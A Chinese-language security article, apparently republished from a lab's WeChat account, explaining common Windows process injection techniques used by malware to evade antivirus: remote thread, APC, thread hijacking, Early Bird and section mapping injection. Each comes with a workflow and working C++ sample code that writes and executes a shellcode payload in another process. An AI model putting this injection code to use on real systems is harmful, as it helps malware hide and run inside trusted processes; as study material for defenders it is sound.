前言
進程注入是一種眾所周知的技術,惡意程序利用它在進程的內(nèi)存中插入并執(zhí)行代碼。
進程注入是一種惡意程序廣泛使用的防御規(guī)避技術。大多數(shù)情況下,惡意程序使用進程注入來動態(tài)運行代碼,這意味著實際的惡意代碼不需要直接寫入磁盤上的文件中,以避免被防病毒軟件的靜態(tài)檢測所發(fā)現(xiàn)。
簡單來說,進程注入就是將一段數(shù)據(jù)從一個進程傳輸?shù)搅硪粋€進程的方法,這種注入過程可以發(fā)生在執(zhí)行操作的同一進程(自注入)上,也可發(fā)生在外部進程上。在注入外部進程的情況下,攻擊者通常會選擇受信任的合法進程,例如正在運行的應用程序或系統(tǒng)進程,其目的是未經(jīng)授權地訪問和操縱這些進程,同時也希望能夠隱藏自己注入的惡意代碼,以逃避安全軟件和防御者的檢測。
無論是在同一進程還是遠程進程中,為了在內(nèi)存中注入和執(zhí)行代碼,攻擊者會使用 Windows API 的不同組合。這些 API 在注入邏輯中有不同的用途,具體使用的函數(shù)調用數(shù)量和特定的 Windows API 可能會有所不同,這取決于所選的代碼注入方法。
已有多種方法實現(xiàn)在 Windows 進程空間內(nèi)的代碼注入和執(zhí)行,下面列出了常見的進程注入方法(以注入 shellcode 為例,注入 DLL 類似)。
ps:文中設計的示例代碼為了精簡,方便看清邏輯,并未添加相關錯誤處理。
傳統(tǒng)的遠程線程注入
該注入技術通過實例化遠程線程來實現(xiàn)在目標進程中的執(zhí)行。
工作流程:
獲取目標進程的句柄
在目標進程中為 payload 分配空間
將 payload 寫入目標進程分配的空間中
創(chuàng)建一個線程執(zhí)行注入代碼
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL); WaitForSingleObject(hThread, 500); return0; }
根據(jù)該注入技術,可以拓展出許多基于該技術的變種,在獲取目標進程句柄上,惡意程序可以通過創(chuàng)建一個新的進程來實現(xiàn)(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不僅僅通過打開現(xiàn)有進程實現(xiàn),獲取通過較低層次的 API(Native API)NtOpenProcess 來獲取目標進程句柄,在比如可以使用 NtWriteVirtualMemory 將數(shù)據(jù)寫入對方內(nèi)存,使用類似 ZwCreateThreadEx、RtlCreateUserThread 等 API 來執(zhí)行寫入的惡意代碼。
APC 注入
進程中每一個線程都存在一個 APC 隊列,當一個線程從等待狀態(tài)中蘇醒(線程調用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函數(shù)時會進入可喚醒狀態(tài)),進入可警報狀態(tài)狀態(tài)的時候,系統(tǒng)遍歷該線程的 APC 隊列,然后按照 FIFO 的順序來執(zhí)行 APC。在用戶模式下,我們可以像創(chuàng)建遠程線程一樣,使用 QueueUserAPC 把 APC 過程添加到目標線程的 APC 隊列中,等這個線程處于可警報狀態(tài)時,就會執(zhí)行插入的 APC 過程了。更詳細的 APC 解釋可參考 Asynchronous Procedure Calls(鏈接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)
工作流程:
獲取目標進程句柄
獲取目標進程任一線程句柄
在目標進程中為 payload 分配空間
將 payload 寫入目標進程分配的空間
將 APC 插入目標線程的 APC 隊列中
當這個線程處于可警報狀態(tài)時,惡意代碼將被執(zhí)行,APC 注入的優(yōu)點,避免了在目標進程中創(chuàng)建新的線程,使用異步過程調用去觸發(fā)惡意代碼的執(zhí)行。但缺點也很明顯,惡意代碼被觸發(fā)執(zhí)行的條件苛刻,被觸發(fā)的時機不確定。
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hThread = FindThread(pid); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL); QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL); return0; }
Thread Hijacking 注入
該注入技術通過將目標線程的執(zhí)行重定向到任意代碼來控制進程內(nèi)執(zhí)行流的技術。它允許攻擊者在不創(chuàng)建新進程或修改底層代碼的情況下操縱正在運行的進程的行為。
工作流程:
獲取目標進程句柄以及目標進程的任一線程句柄
在目標進程為 payload 分配一段空間
將 payload 寫入目標進程
掛起目標線程
獲取目標線程上下文
修改目標線程 RIP(x64)/EIP(x86)讓其指向存放 payload 的地址
提交劫持目標線程上下文
恢復被劫持的線程執(zhí)行
intmain() { SIZE_T payloadLen = sizeof(payload); CONTEXT ctx{}; DWORD pid = FindProcessIdByName(TEXT("notepad.exe")); HANDLE hThread = FindThread(pid); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL); SuspendThread(hThread); ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(hThread, &ctx); #ifdef_WIN64 ctx.Rip = (DWORD_PTR)pRemoteBuffer; #else ctx.Eip = (DWORD_PTR)pRemoteBuffer; #endif SetThreadContext(hThread, &ctx); ResumeThread(hThread); return0; }
Early Bird 注入
Early Bird 是一種簡單而強大的技術,實際上它是 APC 注入和 Thread Hijacking 注入的結合體,具體原理是在線程初始化時會調用 NTDLL 中的未導出函數(shù) NtTestAlert,它是一個用于檢查當前線程的 APC 隊列的函數(shù)。如果隊列中有任何排隊的作業(yè),NtTestAlert 會清空隊列。在線程啟動時,在執(zhí)行任何其他操作之前,NtTestAlert 函數(shù)會被調用。因此,如果在線程的初始狀態(tài)下操作 APC,就可以成功執(zhí)行惡意代碼。
工作流程:
創(chuàng)建一個處于掛起狀態(tài)的合法進程
在目標進程的內(nèi)存空間中為 payload 分配內(nèi)存
將 payload 寫入目標進程
將 APC 插入目標進程主線程的 APC 隊列中
恢復目標進程的主線程執(zhí)行
intmain() { SIZE_T payloadLen = sizeof(payload); TCHAR processName[] = TEXT("notepad.exe"); STARTUPINFO si{sizeof(si)}; PROCESS_INFORMATION pi{}; CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL); QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL); ResumeThread(pi.hThread); return0; }
在將 payload 寫入目標進程后,當惡意代碼被執(zhí)行時,查看此時調用堆??梢园l(fā)現(xiàn) NtTestAlert 函數(shù)被調用,可以發(fā)現(xiàn)導致惡意代碼被執(zhí)行的流程是:
LdrInitializeThunk→ LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher
Mapping 注入
通過利用 MapViewOfFile 相關函數(shù),惡意代碼可以將攻擊者控制的現(xiàn)有節(jié)映射到目標進程中。這樣做的好處是不需要顯式地分配具有 RWX 權限的內(nèi)存,并且避免了復制單獨有效載荷的需要。惡意代碼間接地成為目標進程內(nèi)存空間的一部分,從而允許它在真正模塊的上下文中執(zhí)行。
工作流程:
創(chuàng)建具有 RWX 保護屬性的映射對象
將映射對象映射到本地進程的虛擬地址空間中
將 payload 寫入到映射地址中
獲取目標進程句柄
將映射對象映射到遠程進程的虛擬地址空間中
創(chuàng)建一個線程執(zhí)行注入代碼
intmain() { SIZE_T payloadLen = sizeof(payload); DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe")); HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL); LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen); memcpy(pLocalView, payload, payloadLen); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL); WaitForSingleObject(hThread, 500); UnmapViewOfFile(pLocalView); CloseHandle(hThread); CloseHandle(hMapping); return0; }
總結
大多數(shù)進程注入技術的步驟如下(某些技術可能需要額外的步驟):
首先,需要獲取目標進程的句柄,這可以通過創(chuàng)建一個新的進程或使用 API 函數(shù)來查看運行中的進程來實現(xiàn);
其次,需要準備好要注入的數(shù)據(jù)(shellcode、PE(exe、dll...));
然后,需要找到一種方法將準備好的數(shù)據(jù)傳輸?shù)侥繕诉M程。這可以使用進程間通信(IPC)機制或一些系統(tǒng) API 組合實現(xiàn);
最后,需要執(zhí)行注入的代碼,將準備好的數(shù)據(jù)在目標進程中運行起來
進程注入在惡意代碼開發(fā)中被大量使用,防御者也在研究越來越多的新技術,傳統(tǒng)的進程注入技術大多依賴于通用的 API,在一些高級的進程注入方法中,這些新的注入方法比傳統(tǒng)的注入手段更加復雜,這些注入方法針對目標進程的內(nèi)部結構,而不僅僅依賴通用 API,這使得防御者更難檢測,在后續(xù)的文章中,將分析這些高級的注入方法,研究其實現(xiàn)原理。
審核編輯:劉清
-
dll
+關注
關注
0文章
116瀏覽量
46200 -
RIP
+關注
關注
0文章
31瀏覽量
10887 -
觸發(fā)器
+關注
關注
14文章
2039瀏覽量
62152 -
狀態(tài)機
+關注
關注
2文章
493瀏覽量
28255 -
APC
+關注
關注
0文章
36瀏覽量
11755
原文標題:進程注入系列Part 1 常見的進程注入手段
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發(fā)布評論請先 登錄
介紹開發(fā)者在ESP8266開發(fā)中常見的一些問題
WINDOWS核心編程 (pdf下載)

筆記本維修中常見的商家作弊手段曝光
windows 2000 常見進程表
windows應用程序讀取進程的內(nèi)存工具免費下載
離子注入工藝中的重要參數(shù)和監(jiān)控手段

評論